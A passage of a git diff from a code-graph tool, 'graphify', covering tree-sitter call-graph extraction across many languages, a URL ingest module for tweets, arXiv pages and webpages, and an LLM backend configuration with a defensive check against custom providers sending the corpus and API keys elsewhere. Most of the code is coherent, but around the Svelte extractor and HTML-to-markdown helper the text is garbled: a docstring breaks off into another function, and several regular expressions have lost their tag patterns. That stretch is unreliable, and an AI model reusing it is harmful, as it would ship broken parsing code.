namespaces — language-specific extra handling + if config.ts_module in ("tree_sitter_javascript", "tree_sitter_typescript"): + if _js_extra_walk(node, source, file_nid, stem, str_path, + nodes, edges, seen_ids, function_bodies, + parent_class_nid, add_node, add_edge): + return + + if config.ts_module == "tree_sitter_c_sharp": + if _csharp_extra_walk(node, source, file_nid, stem, str_path, + nodes, edges, seen_ids, function_bodies, + parent_class_nid, add_node, add_edge, walk): + return + + if config.ts_module == "tree_sitter_swift": + if _swift_extra_walk(node, source, file_nid, stem, str_path, + nodes, edges, seen_ids, function_bodies, + parent_class_nid, add_node, add_edge): + return + + # Python's `@property` / `@staticmethod` / `@classmethod` wrap the + # inner function_definition in a `decorated_definition` node. The + # default recurse below clears parent_class_nid, which would cause the + # inner method to be emitted with a class-unqualified node id (e.g. + # `file_baz` instead of `file_bar_baz`). That diverges from the + # class-qualified id the rationale walker uses for the same method's + # docstring, leaving the rationale edge dangling and the docstring + # node orphaned (#1050). Treat decorated_definition as a transparent + # wrapper so parent_class_nid propagates to the real function node. + if t == "decorated_definition": + for child in node.children: + walk(child, parent_class_nid=parent_class_nid) + return + + # Default: recurse + for child in node.children: + walk(child, parent_class_nid=None) + + walk(root) + + # ── Call-graph pass ─────────────────────────────────────────────────────── + label_to_nid: dict[str, str] = {} # case-sensitive (Ruby, C#, Java, Kotlin, etc.) + label_to_nid_ci: dict[str, str] = {} # case-insensitive (PHP functions/classes) + for n in nodes: + raw = n["label"] + normalised = raw.strip("()").lstrip(".") + label_to_nid[normalised] = n["id"] + label_to_nid_ci[normalised.lower()] = n["id"] + + seen_call_pairs: set[tuple[str, str]] = set() + seen_dyn_import_pairs: set[tuple[str, str]] = set() + seen_static_ref_pairs: set[tuple[str, str, str]] = set() + seen_helper_ref_pairs: set[tuple[str, str, str]] = set() + seen_bind_pairs: set[tuple[str, str, str]] = set() + raw_calls: list[dict] = [] # unresolved calls for cross-file resolution in extract() + + def _php_class_const_scope(n) -> str | None: + scope = n.child_by_field_name("scope") + if scope is None: + for c in n.children: + if c.is_named and c.type in ("name", "qualified_name", "identifier"): + scope = c + break + if scope is None: + return None + return _read_text(scope, source) + + def walk_calls(node, caller_nid: str) -> None: + if node.type in config.function_boundary_types: + return + + if node.type in config.call_types: + # JS/TS dynamic imports: await import('./foo.js') + if config.ts_module in ("tree_sitter_javascript", "tree_sitter_typescript"): + if _dynamic_import_js(node, source, caller_nid, str_path, + edges, seen_dyn_import_pairs): + # Still recurse into children (import().then(...) may have calls) + for child in node.children: + walk_calls(child, caller_nid) + return + + callee_name: str | None = None + is_member_call: bool = False + + # Special handling per language + if config.ts_module == "tree_sitter_swift": + # Swift: first child may be simple_identifier or navigation_expression + first = node.children[0] if node.children else None + if first: + if first.type == "simple_identifier": + callee_name = _read_text(first, source) + elif first.type == "navigation_expression": + is_member_call = True + for child in first.children: + if child.type == "navigation_suffix": + for sc in child.children: + if sc.type == "simple_identifier": + callee_name = _read_text(sc, source) + elif config.ts_module == "tree_sitter_kotlin": + # Kotlin: first child may be simple_identifier/identifier or + # navigation_expression. PyPI's `tree_sitter_kotlin` produces + # `identifier` for plain identifier nodes; older grammar + # versions (including the JVM `io.github.bonede:tree-sitter-kotlin` + # binding) produce `simple_identifier`. Accept both. + first = node.children[0] if node.children else None + if first: + if first.type in ("simple_identifier", "identifier"): + callee_name = _read_text(first, source) + elif first.type == "navigation_expression": + is_member_call = True + for child in reversed(first.children): + if child.type in ("simple_identifier", "identifier"): + callee_name = _read_text(child, source) + break + elif config.ts_module == "tree_sitter_scala": + # Scala: first child + first = node.children[0] if node.children else None + if first: + if first.type == "identifier": + callee_name = _read_text(first, source) + elif first.type == "field_expression": + is_member_call = True + field = first.child_by_field_name("field") + if field: + callee_name = _read_text(field, source) + else: + for child in reversed(first.children): + if child.type == "identifier": + callee_name = _read_text(child, source) + break + elif config.ts_module == "tree_sitter_c_sharp" and node.type == "invocation_expression": + # C#: try name field, then first named child + name_node = node.child_by_field_name("name") + if name_node: + callee_name = _read_text(name_node, source) + else: + for child in node.children: + if child.is_named: + raw = _read_text(child, source) + if "." in raw: + callee_name = raw.split(".")[-1] + is_member_call = True + else: + callee_name = raw + break + elif config.ts_module == "tree_sitter_php": + # PHP: distinguish call expression subtypes + if node.type == "function_call_expression": + func_node = node.child_by_field_name("function") + if func_node: + callee_name = _read_text(func_node, source) + elif node.type == "scoped_call_expression": + # Static method call: Helper::format() → callee = "Helper" + scope_node = node.child_by_field_name("scope") + if scope_node: + callee_name = _read_text(scope_node, source) + else: + # member_call_expression: $obj->method() + is_member_call = True + name_node = node.child_by_field_name("name") + if name_node: + callee_name = _read_text(name_node, source) + elif config.ts_module == "tree_sitter_cpp": + # C++: function field, then field_expression/qualified_identifier + func_node = node.child_by_field_name(config.call_function_field) if config.call_function_field else None + if func_node: + if func_node.type == "identifier": + callee_name = _read_text(func_node, source) + elif func_node.type in ("field_expression", "qualified_identifier"): + is_member_call = True + name = func_node.child_by_field_name("field") or func_node.child_by_field_name("name") + if name: + callee_name = _read_text(name, source) + else: + # Generic: get callee from call_function_field + func_node = node.child_by_field_name(config.call_function_field) if config.call_function_field else None + if func_node: + if func_node.type == "identifier": + callee_name = _read_text(func_node, source) + elif func_node.type in config.call_accessor_node_types: + is_member_call = True + if config.call_accessor_field: + attr = func_node.child_by_field_name(config.call_accessor_field) + if attr: + callee_name = _read_text(attr, source) + else: + # Try reading the node directly (e.g. Java name field is the callee) + callee_name = _read_text(func_node, source) + + if callee_name and callee_name not in _LANGUAGE_BUILTIN_GLOBALS: + tgt_nid = label_to_nid.get(callee_name) + if tgt_nid and tgt_nid != caller_nid: + pair = (caller_nid, tgt_nid) + if pair not in seen_call_pairs: + seen_call_pairs.add(pair) + line = node.start_point[0] + 1 + edges.append({ + "source": caller_nid, + "target": tgt_nid, + "relation": "calls", + "context": "call", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + elif callee_name and not tgt_nid: + # Callee not in this file — save for cross-file resolution in extract() + raw_calls.append({ + "caller_nid": caller_nid, + "callee": callee_name, + "is_member_call": is_member_call, + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + }) + + # Helper function calls: config('foo.bar') → uses_config edge to "foo" + if (callee_name and callee_name in config.helper_fn_names): + args_node = node.child_by_field_name("arguments") + first_key: str | None = None + if args_node: + for arg in args_node.children: + if arg.type != "argument": + continue + for inner in arg.children: + if inner.type == "string": + for sc in inner.children: + if sc.type == "string_content": + first_key = _read_text(sc, source) + break + break + if first_key: + break + if first_key: + segment = first_key.split(".")[0] + tgt_nid = (label_to_nid_ci.get(segment.lower()) + or label_to_nid_ci.get(f"{segment}.php".lower())) + if tgt_nid and tgt_nid != caller_nid: + relation = f"uses_{callee_name}" + pair3 = (caller_nid, tgt_nid, relation) + if pair3 not in seen_helper_ref_pairs: + seen_helper_ref_pairs.add(pair3) + line = node.start_point[0] + 1 + edges.append({ + "source": caller_nid, + "target": tgt_nid, + "relation": relation, + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + + # Service container bindings: $this->app->bind(Foo::class, Bar::class) + if (node.type == "member_call_expression" + and callee_name + and callee_name in config.container_bind_methods): + args_node = node.child_by_field_name("arguments") + class_args: list[str] = [] + if args_node: + for arg in args_node.children: + if arg.type != "argument": + continue + for inner in arg.children: + if inner.type == "class_constant_access_expression": + cls = _php_class_const_scope(inner) + if cls: + class_args.append(cls) + break + if len(class_args) >= 2: + break + if len(class_args) == 2: + contract_name, impl_name = class_args + contract_nid = label_to_nid_ci.get(contract_name.lower()) + impl_nid = label_to_nid_ci.get(impl_name.lower()) + if contract_nid and impl_nid and contract_nid != impl_nid: + pair3 = (contract_nid, impl_nid, "bound_to") + if pair3 not in seen_bind_pairs: + seen_bind_pairs.add(pair3) + line = node.start_point[0] + 1 + edges.append({ + "source": contract_nid, + "target": impl_nid, + "relation": "bound_to", + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + + # Static property access: Foo::$bar → uses_static_prop edge + if node.type in config.static_prop_types: + scope_node = node.child_by_field_name("scope") + if scope_node is None: + for child in node.children: + if child.is_named and child.type in ("name", "qualified_name", "identifier"): + scope_node = child + break + if scope_node is not None: + class_name = _read_text(scope_node, source) + tgt_nid = label_to_nid_ci.get(class_name.lower()) + if tgt_nid and tgt_nid != caller_nid: + pair3 = (caller_nid, tgt_nid, "uses_static_prop") + if pair3 not in seen_static_ref_pairs: + seen_static_ref_pairs.add(pair3) + line = node.start_point[0] + 1 + edges.append({ + "source": caller_nid, + "target": tgt_nid, + "relation": "uses_static_prop", + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + + # PHP class constant access: Foo::BAR → references_constant edge + if config.ts_module == "tree_sitter_php" and node.type == "class_constant_access_expression": + class_name = _php_class_const_scope(node) + if class_name: + tgt_nid = label_to_nid_ci.get(class_name.lower()) + if tgt_nid and tgt_nid != caller_nid: + pair3 = (caller_nid, tgt_nid, "references_constant") + if pair3 not in seen_static_ref_pairs: + seen_static_ref_pairs.add(pair3) + line = node.start_point[0] + 1 + edges.append({ + "source": caller_nid, + "target": tgt_nid, + "relation": "references_constant", + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + + for child in node.children: + walk_calls(child, caller_nid) + + for caller_nid, body_node in function_bodies: + walk_calls(body_node, caller_nid) + + # ── Event listener pass ─────────────────────────────────────────────────── + seen_listen_pairs: set[tuple[str, str]] = set() + for event_name, listener_name, line in pending_listen_edges: + event_nid = label_to_nid_ci.get(event_name.lower()) + listener_nid = label_to_nid_ci.get(listener_name.lower()) + if not event_nid or not listener_nid or event_nid == listener_nid: + continue + pair2 = (event_nid, listener_nid) + if pair2 in seen_listen_pairs: + continue + seen_listen_pairs.add(pair2) + edges.append({ + "source": event_nid, + "target": listener_nid, + "relation": "listened_by", + "confidence": "EXTRACTED", + "confidence_score": 1.0, + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + + # ── Clean edges ─────────────────────────────────────────────────────────── + valid_ids = seen_ids + clean_edges = [] + for edge in edges: + src, tgt = edge["source"], edge["target"] + if src in valid_ids and (tgt in valid_ids or edge["relation"] in ("imports", "imports_from", "re_exports")): + clean_edges.append(edge) + + result = {"nodes": nodes, "edges": clean_edges, "raw_calls": raw_calls} + if swift_extensions: + result["swift_extensions"] = swift_extensions + return result + + +# ── Python rationale extraction ─────────────────────────────────────────────── + +_RATIONALE_PREFIXES = ("# NOTE:", "# IMPORTANT:", "# HACK:", "# WHY:", "# RATIONALE:", "# TODO:", "# FIXME:") + + +def _is_autogenerated_python(source: bytes) -> bool: + """Return True if this Python file is auto-generated and its module docstring is noise. + + Covers: Alembic/Flask-Migrate revisions, Django migrations, protobuf/gRPC/OpenAPI stubs. + Module docstrings in these files are change annotations or boilerplate, not rationale. + """ + head = source[:2048].decode("utf-8", errors="replace") + # Generic generated-file markers (protobuf, gRPC, OpenAPI codegen, etc.) + if any(m in head for m in ("DO NOT EDIT", "@generated", "Generated by the protocol buffer")): + return True + # Alembic / Flask-Migrate revision files + if (re.search(r"^revision\s*[:=]", head, re.MULTILINE) + and "def upgrade(" in head + and "down_revision" in head): + return True + # Django migrations + if "class Migration(migrations.Migration)" in head and "operations" in head: + return True + return False + + +def _extract_python_rationale(path: Path, result: dict) -> None: + """Post-pass: extract docstrings and rationale comments from Python source. + Mutates result in-place by appending to result['nodes'] and result['edges']. + """ + try: + import tree_sitter_python as tspython + from tree_sitter import Language, Parser + language = Language(tspython.language()) + parser = Parser(language) + source = path.read_bytes() + tree = parser.parse(source) + root = tree.root_node + except Exception: + return + + stem = _file_stem(path) + str_path = str(path) + nodes = result["nodes"] + edges = result["edges"] + seen_ids = {n["id"] for n in nodes} + file_nid = _make_id(str(path)) + + def _get_docstring(body_node) -> tuple[str, int] | None: + if not body_node: + return None + for child in body_node.children: + if child.type == "expression_statement": + for sub in child.children: + if sub.type in ("string", "concatenated_string"): + text = source[sub.start_byte:sub.end_byte].decode("utf-8", errors="replace") + text = text.strip("\"'").strip('"""').strip("'''").strip() + if len(text) > 20: + return text, child.start_point[0] + 1 + break + return None + + def _add_rationale(text: str, line: int, parent_nid: str) -> None: + label = text[:80].replace("\r\n", " ").replace("\r", " ").replace("\n", " ").strip() + rid = _make_id(stem, "rationale", str(line)) + if rid not in seen_ids: + seen_ids.add(rid) + nodes.append({ + "id": rid, + "label": label, + "file_type": "rationale", + "source_file": str_path, + "source_location": f"L{line}", + }) + edges.append({ + "source": rid, + "target": parent_nid, + "relation": "rationale_for", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + + # Module-level docstring — skip for auto-generated files (Alembic, Django + # migrations, protobuf stubs, etc.) whose module docstrings are revision + # annotations, not architectural rationale. + if not _is_autogenerated_python(source): + ds = _get_docstring(root) + if ds: + _add_rationale(ds[0], ds[1], file_nid) + + # Class and function docstrings + def walk_docstrings(node, parent_nid: str) -> None: + t = node.type + if t == "class_definition": + name_node = node.child_by_field_name("name") + body = node.child_by_field_name("body") + if name_node and body: + class_name = source[name_node.start_byte:name_node.end_byte].decode("utf-8", errors="replace") + nid = _make_id(stem, class_name) + ds = _get_docstring(body) + if ds: + _add_rationale(ds[0], ds[1], nid) + for child in body.children: + walk_docstrings(child, nid) + return + if t == "function_definition": + name_node = node.child_by_field_name("name") + body = node.child_by_field_name("body") + if name_node and body: + func_name = source[name_node.start_byte:name_node.end_byte].decode("utf-8", errors="replace") + nid = _make_id(parent_nid, func_name) if parent_nid != file_nid else _make_id(stem, func_name) + ds = _get_docstring(body) + if ds: + _add_rationale(ds[0], ds[1], nid) + return + for child in node.children: + walk_docstrings(child, parent_nid) + + walk_docstrings(root, file_nid) + + # Rationale comments (# NOTE:, # IMPORTANT:, etc.) + source_text = source.decode("utf-8", errors="replace") + for lineno, line_text in enumerate(source_text.splitlines(), start=1): + stripped = line_text.strip() + if any(stripped.startswith(p) for p in _RATIONALE_PREFIXES): + _add_rationale(stripped, lineno, file_nid) + + +# ── Public API ──────────────────────────────────────────────────────────────── + +def extract_python(path: Path) -> dict: + """Extract classes, functions, and imports from a .py file via tree-sitter AST.""" + result = _extract_generic(path, _PYTHON_CONFIG) + if "error" not in result: + _extract_python_rationale(path, result) + return result + + +def extract_js(path: Path) -> dict: + """Extract classes, functions, arrow functions, and imports from a .js/.ts/.tsx file.""" + if path.suffix == ".tsx": + config = _TSX_CONFIG + elif path.suffix == ".ts": + config = _TS_CONFIG + else: + config = _JS_CONFIG + return _extract_generic(path, config) + + +def extract_svelte(path: Path) -> dict: + """Extract imports from .svelte files: script-block via JS AST + template regex fallback. + + Tree-sitter only sees the ", "", html, flags=re.DOTALL | re.IGNORECASE) + html = re.sub(r"]*>.*?", "", html, flags=re.DOTALL | re.IGNORECASE) + try: + from markdownify import markdownify + return markdownify(html, heading_style="ATX", bullets="-", strip=["img"]) + except ImportError: + # Fallback: basic tag strip + text = re.sub(r"<[^>]+>", " ", html) + text = re.sub(r"\s+", " ", text).strip() + return text[:8000] + + +def _fetch_tweet(url: str, author: str | None, contributor: str | None) -> tuple[str, str]: + """Fetch a tweet URL. Returns (content, filename).""" + # Normalize to twitter.com for oEmbed + oembed_url = url.replace("x.com", "twitter.com") + oembed_api = f"https://publish.twitter.com/oembed?url={urllib.parse.quote(oembed_url)}&omit_script=true" + try: + data = json.loads(safe_fetch_text(oembed_api)) + tweet_text = re.sub(r"<[^>]+>", "", data.get("html", "")).strip() + tweet_author = data.get("author_name", "unknown") + except Exception: + # oEmbed failed - save URL stub + tweet_text = f"Tweet at {url} (could not fetch content)" + tweet_author = "unknown" + + now = datetime.now(timezone.utc).isoformat() + content = f"""--- +source_url: "{_yaml_str(url)}" +type: tweet +author: "{_yaml_str(tweet_author)}" +captured_at: {now} +contributor: "{_yaml_str(contributor or author or 'unknown')}" +--- + +# Tweet by @{tweet_author} + +{tweet_text} + +Source: {url} +""" + filename = _safe_filename(url, ".md") + return content, filename + + +def _fetch_webpage(url: str, author: str | None, contributor: str | None) -> tuple[str, str]: + """Fetch a generic webpage and convert to markdown.""" + html = _fetch_html(url) + # Extract title + title_match = re.search(r"]*>(.*?)", html, re.IGNORECASE | re.DOTALL) + title = re.sub(r"\s+", " ", title_match.group(1)).strip() if title_match else url + + markdown = _html_to_markdown(html, url) + now = datetime.now(timezone.utc).isoformat() + content = f"""--- +source_url: "{_yaml_str(url)}" +type: webpage +title: "{_yaml_str(title)}" +captured_at: {now} +contributor: "{_yaml_str(contributor or author or 'unknown')}" +--- + +# {title} + +Source: {url} + +--- + +{markdown[:12000]} +""" + filename = _safe_filename(url, ".md") + return content, filename + + +def _fetch_arxiv(url: str, author: str | None, contributor: str | None) -> tuple[str, str]: + """Fetch arXiv abstract page.""" + # Convert /abs/ or /pdf/ to abs for the API + arxiv_id = re.search(r"(\d{4}\.\d{4,5})", url) + if arxiv_id: + api_url = f"https://export.arxiv.org/abs/{arxiv_id.group(1)}" + try: + html = _fetch_html(api_url) + abstract_match = re.search(r'class="abstract[^"]*"[^>]*>(.*?)', html, re.DOTALL | re.IGNORECASE) + abstract = re.sub(r"<[^>]+>", "", abstract_match.group(1)).strip() if abstract_match else "" + title_match = re.search(r'class="title[^"]*"[^>]*>(.*?)

    ', html, re.DOTALL | re.IGNORECASE) + title = re.sub(r"<[^>]+>", " ", title_match.group(1)).strip() if title_match else arxiv_id.group(1) + authors_match = re.search(r'class="authors"[^>]*>(.*?)', html, re.DOTALL | re.IGNORECASE) + paper_authors = re.sub(r"<[^>]+>", "", authors_match.group(1)).strip() if authors_match else "" + except Exception: + title, abstract, paper_authors = arxiv_id.group(1), "", "" + else: + return _fetch_webpage(url, author, contributor) + + now = datetime.now(timezone.utc).isoformat() + content = f"""--- +source_url: "{_yaml_str(url)}" +arxiv_id: "{_yaml_str(arxiv_id.group(1) if arxiv_id else '')}" +type: paper +title: "{_yaml_str(title)}" +paper_authors: "{_yaml_str(paper_authors)}" +captured_at: {now} +contributor: "{_yaml_str(contributor or author or 'unknown')}" +--- + +# {title} + +**Authors:** {paper_authors} +**arXiv:** {arxiv_id.group(1) if arxiv_id else url} + +## Abstract + +{abstract} + +Source: {url} +""" + filename = f"arxiv_{arxiv_id.group(1).replace('.', '_')}.md" if arxiv_id else _safe_filename(url, ".md") + return content, filename + + +def _download_binary(url: str, suffix: str, target_dir: Path) -> Path: + """Download a binary file (PDF, image) directly.""" + filename = _safe_filename(url, suffix) + out_path = target_dir / filename + out_path.write_bytes(safe_fetch(url)) + return out_path + + +def ingest(url: str, target_dir: Path, author: str | None = None, contributor: str | None = None) -> Path: + """ + Fetch a URL and save it into target_dir as a graphify-ready file. + + Returns the path of the saved file. + """ + target_dir.mkdir(parents=True, exist_ok=True) + url_type = _detect_url_type(url) + + try: + validate_url(url) + except ValueError as exc: + raise ValueError(f"ingest: {exc}") from exc + + try: + if url_type == "pdf": + out = _download_binary(url, ".pdf", target_dir) + print(f"Downloaded PDF: {out.name}") + return out + + if url_type == "image": + suffix = Path(urllib.parse.urlparse(url).path).suffix or ".jpg" + out = _download_binary(url, suffix, target_dir) + print(f"Downloaded image: {out.name}") + return out + + if url_type == "youtube": + from graphify.transcribe import download_audio + out = download_audio(url, target_dir) + print(f"Downloaded audio: {out.name}") + return out + + if url_type == "tweet": + content, filename = _fetch_tweet(url, author, contributor) + elif url_type == "arxiv": + content, filename = _fetch_arxiv(url, author, contributor) + else: + content, filename = _fetch_webpage(url, author, contributor) + except (urllib.error.HTTPError, urllib.error.URLError, OSError) as exc: + raise RuntimeError(f"ingest: failed to fetch {url!r}: {exc}") from exc + + out_path = target_dir / filename + # Avoid overwriting - append counter if needed + counter = 1 + while out_path.exists() and counter < 1000: + stem = Path(filename).stem + out_path = target_dir / f"{stem}_{counter}.md" + counter += 1 + + out_path.write_text(content, encoding="utf-8") + print(f"Saved {url_type}: {out_path.name}") + return out_path + + +def save_query_result( + question: str, + answer: str, + memory_dir: Path, + query_type: str = "query", + source_nodes: list[str] | None = None, +) -> Path: + """Save a Q&A result as markdown so it gets extracted into the graph on next --update. + + Files are stored in memory_dir (typically graphify-out/memory/) with YAML frontmatter + that graphify's extractor reads as node metadata. This closes the feedback loop: + the system grows smarter from both what you add AND what you ask. + """ + memory_dir = Path(memory_dir) + memory_dir.mkdir(parents=True, exist_ok=True) + + now = datetime.now(timezone.utc) + slug = re.sub(r"[^\w]", "_", question.lower())[:50].strip("_") + filename = f"query_{now.strftime('%Y%m%d_%H%M%S')}_{slug}.md" + + frontmatter_lines = [ + "---", + f'type: "{query_type}"', + f'date: "{now.isoformat()}"', + f'question: "{_yaml_str(question)}"', + 'contributor: "graphify"', + ] + if source_nodes: + nodes_str = ", ".join(f'"{n}"' for n in source_nodes[:10]) + frontmatter_lines.append(f"source_nodes: [{nodes_str}]") + frontmatter_lines.append("---") + + body_lines = [ + "", + f"# Q: {question}", + "", + "## Answer", + "", + answer, + ] + if source_nodes: + body_lines += ["", "## Source Nodes", ""] + body_lines += [f"- {n}" for n in source_nodes] + + content = "\n".join(frontmatter_lines + body_lines) + out_path = memory_dir / filename + out_path.write_text(content, encoding="utf-8") + return out_path + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Fetch a URL into a graphify /raw folder") + parser.add_argument("url", help="URL to fetch") + parser.add_argument("target_dir", nargs="?", default="./raw", help="Target directory (default: ./raw)") + parser.add_argument("--author", help="Your name (stored as node metadata)") + parser.add_argument("--contributor", help="Contributor name for team graphs") + args = parser.parse_args() + out = ingest(args.url, Path(args.target_dir), author=args.author, contributor=args.contributor) + print(f"Ready for graphify: {out}") diff --git a/skills/graphify/llm.py b/skills/graphify/llm.py new file mode 100644 index 00000000..81cd2bf1 --- /dev/null +++ b/skills/graphify/llm.py @@ -0,0 +1,1896 @@ +# Direct LLM backend for semantic extraction — supports Claude, Kimi K2.6, +# Gemini, and OpenAI. +# Used by `graphify extract . --backend gemini` and the benchmark scripts. +# The default graphify pipeline uses Claude Code subagents via skill.md; +# this module provides a direct API path for non-Claude-Code environments. +from __future__ import annotations + +import base64 +import json +import os +import re +import sys +import time +from collections.abc import Callable +from concurrent.futures import ThreadPoolExecutor, as_completed +from dataclasses import dataclass, replace +from pathlib import Path + +# `_read_files` truncates each file at this many characters before joining into +# the user message. Token estimates use the same cap so packing matches reality. +_FILE_CHAR_CAP = 20_000 +# `_read_files` also wraps each file in a `=== {rel} ===\n...\n\n` separator; +# this is roughly the per-file overhead in characters that the prompt adds. +_PER_FILE_OVERHEAD_CHARS = 80 +# Coarse fallback used only when `tiktoken` is not installed. 1 token ≈ 4 chars +# is the standard heuristic for English/code on BPE tokenizers. +_CHARS_PER_TOKEN = 4 + + +def _get_tokenizer(): + """Return a tiktoken encoder for accurate token counts, or None if tiktoken + is not installed. We use `cl100k_base` (GPT-4 / GPT-3.5-turbo) as a proxy: + Kimi-K2 ships a tiktoken-based tokenizer with very similar BPE behaviour, + and Claude's tokenizer has a comparable token-to-char ratio for prose/code. + Estimates only need to be within ~5%, not exact. + """ + try: + import tiktoken + except ImportError: + return None + try: + return tiktoken.get_encoding("cl100k_base") + except Exception: # network failure on first-use download, etc. + return None + + +# Cached at import time. None if tiktoken is unavailable; consumers must handle. +_TOKENIZER = _get_tokenizer() + +BACKENDS: dict[str, dict] = { + "claude": { + "base_url": "https://api.anthropic.com", + "default_model": "claude-sonnet-4-6", + "env_key": "ANTHROPIC_API_KEY", + "pricing": {"input": 3.0, "output": 15.0}, # USD per 1M tokens + "temperature": 0, + "max_tokens": 16384, + "vision": True, + }, + "kimi": { + "base_url": "https://api.moonshot.ai/v1", + "default_model": "kimi-k2.6", + "env_key": "MOONSHOT_API_KEY", + # kimi-k2.6 is natively multimodal (MoonViT) and accepts the same + # OpenAI image_url data-URI block via Moonshot's compat endpoint. + "vision": True, + "pricing": {"input": 0.74, "output": 4.66}, # USD per 1M tokens + "temperature": None, # kimi-k2.6 enforces its own fixed temperature; sending any value raises 400 + "max_tokens": 16384, + }, + "ollama": { + "base_url": os.environ.get("OLLAMA_BASE_URL", "http://localhost:11434/v1"), + "default_model": os.environ.get("OLLAMA_MODEL", "qwen2.5-coder:7b"), + "env_key": "OLLAMA_API_KEY", + "pricing": {"input": 0.0, "output": 0.0}, + "temperature": 0, + "max_tokens": 16384, + }, + "gemini": { + "base_url": "https://generativelanguage.googleapis.com/v1beta/openai/", + "default_model": "gemini-3-flash-preview", + "env_keys": ["GEMINI_API_KEY", "GOOGLE_API_KEY"], + "model_env_key": "GRAPHIFY_GEMINI_MODEL", + "pricing": {"input": 0.50, "output": 3.00}, # USD per 1M tokens + "temperature": 0, + "reasoning_effort": "low", + "max_completion_tokens": 16384, + "vision": True, + }, + "openai": { + "base_url": "https://api.openai.com/v1", + "default_model": "gpt-4.1-mini", + "env_key": "OPENAI_API_KEY", + "model_env_key": "GRAPHIFY_OPENAI_MODEL", + "pricing": {"input": 0.40, "output": 1.60}, # USD per 1M tokens + "temperature": 0, + "vision": True, + }, + "deepseek": { + "base_url": "https://api.deepseek.com", + "default_model": "deepseek-v4-flash", + "env_key": "DEEPSEEK_API_KEY", + "model_env_key": "GRAPHIFY_DEEPSEEK_MODEL", + "pricing": {"input": 0.14, "output": 0.28}, # USD per 1M tokens (v4-flash) + # deepseek-reasoner / thinking-mode models silently ignore temperature; + # deepseek-chat / v4-flash (non-thinking) accept 0-2. Safe to send 0. + "temperature": 0, + "max_tokens": 16384, + }, + "azure": { + # Azure OpenAI Service — uses AzureOpenAI SDK client, not the standard + # OpenAI client, so it has its own call path (_call_azure). + # Required env vars: AZURE_OPENAI_API_KEY, AZURE_OPENAI_ENDPOINT. + # Optional: AZURE_OPENAI_API_VERSION (defaults to 2024-12-01-preview), + # AZURE_OPENAI_DEPLOYMENT or GRAPHIFY_AZURE_MODEL (deployment name). + # base_url is intentionally absent — prevents accidental routing through + # _call_openai_compat, which requires it and uses the wrong SDK client class. + "default_model": os.environ.get("AZURE_OPENAI_DEPLOYMENT", os.environ.get("GRAPHIFY_AZURE_MODEL", "gpt-4o")), + "env_key": "AZURE_OPENAI_API_KEY", + "model_env_key": "GRAPHIFY_AZURE_MODEL", + "pricing": {"input": 2.50, "output": 10.00}, # USD per 1M tokens (gpt-4o; may mis-estimate other deployments) + "temperature": 0, + "max_tokens": 16384, + }, + "bedrock": { + "default_model": "anthropic.claude-3-5-sonnet-20241022-v2:0", + "model_env_key": "GRAPHIFY_BEDROCK_MODEL", + "pricing": {"input": 3.0, "output": 15.0}, # USD per 1M tokens + "temperature": 0, + "max_tokens": 16384, + "vision": True, + }, + "claude-cli": { + # Routes through the locally-installed `claude` CLI (Claude Code) using + # `-p --output-format json`. Authenticates via the user's existing + # Pro/Max subscription instead of a separate ANTHROPIC_API_KEY — costs + # are billed to the plan, not pay-as-you-go API credit. + "default_model": "claude-code-plan", + "pricing": {"input": 0.0, "output": 0.0}, + "temperature": 0, + "max_tokens": 16384, + # Claude Code is multimodal; images are passed by path and read with the + # CLI's Read tool rather than as inline base64 (see `_call_claude_cli`). + "vision": True, + }, +} + + +def _custom_providers_path(global_: bool = True) -> Path: + if global_: + return Path.home() / ".graphify" / "providers.json" + return Path(".graphify") / "providers.json" + + +def provider_base_url_ok(base_url: str, name: str, *, warn: bool = True) -> bool: + """Structural safety check for a custom-provider base_url. + + A custom provider receives the full corpus plus the user's API key, so its + base_url is an exfiltration channel. We deliberately do NOT run the ingest + SSRF guard here: that blocks private/internal IPs, which would wrongly reject + legitimate on-prem corporate LLM gateways. Instead we reject non-http(s) + schemes outright and warn loudly when the corpus would leave over plaintext + http to a non-loopback host. The primary control against trusting injected + config is the GRAPHIFY_ALLOW_LOCAL_PROVIDERS gate on project-local files. + """ + from urllib.parse import urlparse + try: + parsed = urlparse(base_url) + except Exception: + if warn: + print(f"[graphify] WARNING: provider {name!r} has an unparseable base_url; ignoring.", file=sys.stderr) + return False + if parsed.scheme not in ("http", "https"): + if warn: + print( + f"[graphify] WARNING: provider {name!r} base_url scheme {parsed.scheme!r} is not " + "http/https; ignoring.", + file=sys.stderr, + ) + return False + host = (parsed.hostname or "").lower() + is_loopback = host in ("localhost", "127.0.0.1", "::1") or host.startswith("127.") + if warn and parsed.scheme == "http" and not is_loopback: + print( + f"[graphify] WARNING: provider {name!r} sends your corpus to {host!r} over plaintext " + "http. Use https unless this is a trusted local endpoint.", + file=sys.stderr, + ) + return True + + +def _load_custom_providers() -> dict[str, dict]: + # A project-local ./.graphify/providers.json travels with a cloned or shared + # repo and defines where the corpus + API key are sent, so loading it + # silently is a corpus/key exfiltration vector. Require an explicit opt-in; + # the user's own global ~/.graphify/providers.json stays trusted. + local_path = _custom_providers_path(global_=False) + global_path = _custom_providers_path(global_=True) + allow_local = os.environ.get("GRAPHIFY_ALLOW_LOCAL_PROVIDERS", "").strip().lower() in ("1", "true", "yes") + if local_path.is_file() and not allow_local: + print( + f"[graphify] WARNING: ignoring project-local {local_path} (custom providers control " + "where your corpus and API key are sent). Set GRAPHIFY_ALLOW_LOCAL_PROVIDERS=1 to load it.", + file=sys.stderr, + ) + + providers: dict[str, dict] = {} + paths = [local_path, global_path] if allow_local else [global_path] + for path in paths: + if path.is_file(): + try: + data = json.loads(path.read_text(encoding="utf-8")) + if isinstance(data, dict): + for name, cfg in data.items(): + if not (isinstance(name, str) and isinstance(cfg, dict)): + continue + if name in BACKENDS or name in providers: + continue + if not 